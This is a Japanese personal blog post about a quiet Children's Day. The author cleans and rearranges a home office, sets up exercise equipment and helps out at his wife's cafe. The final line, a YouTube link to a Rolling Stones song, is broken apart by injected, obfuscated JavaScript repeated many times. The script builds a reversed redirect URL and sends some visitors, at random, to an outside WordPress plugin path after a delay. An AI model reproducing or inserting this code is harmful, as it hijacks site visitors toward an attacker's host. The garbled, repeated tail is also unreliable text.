こどもの日の今日は、穏やかな一日でした。

 

かみさんは、カフェがあるので仕事にいきました。

 

体力回復のために今日は、自転車に乗る予定にしていました・・・が。

 

なぜか、家の掃除から始まりまして・・・自宅事務所の模様替えに・・・。

 

車庫も掃除して、いろいろ気になっていた所の掃除ができましたよ。(^^)

 

そして自転車に乗ろうかと思いきや、息子が郡山から昼頃帰るということで家にとどまることになりまして・・・

 

自宅事務所の片付けが発展して模様替えになりました。

 

机の上も整理していると、ふとナイスアイデアが頭をよぎり・・・

 

名づけて、「マッチョマン計画。」

 

先日、会津若松で先輩と飲んだ時に、先輩の腹筋が仮面ライダー見たくなっていて・・・羨ましくなって・・・。

 

真似してみたくなった次第です。(・・;

 

さっそく、物置に眠っていたトレーニング装置を組み立ててみました。

 

じゃんじゃじゃーん。ヽ(´▽｀)/

 

これで僕の腹筋も仮面ライダーみたくなりますよ。

 

三日坊主にならないように、結果にコミットしたいと思います。(^^)

 

午後は、昼食後、かみさんから電話があり・・・カフェが混んでいるので助っ人要請が入りました。

 

エプロンをかけていざ！　

 

ちなみに僕は、カフェのお手伝いをしたことがありません。ヽ(・∀・)ノ

 

がしかし、勇気一発、慣れないながらも頑張ってみましたよ。

 

実際手伝ってみるといろいろ解ってくることがありました。

 

厨房の使い勝手がイマイチなことと、テーブルの配置も検討したほうがいいような気がしました。

 

今日は、カフェが大忙しで頑張ったから、みんなで食事にいきました。

 

子供がいると場が和みますね。

 

美味しいもの食べて飲んでリフレッシュして明日も楽しみましょう。

 

残念ながらゴールデンウィークも明日までですね。

 

明日から、ちょっと仕事モードにしていきたいと思います。(^^)

 

The Rolling Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tones – Ruby Tuesday (Live) 　https://www.youtube.com/watch?v=eYx_NfnoHL8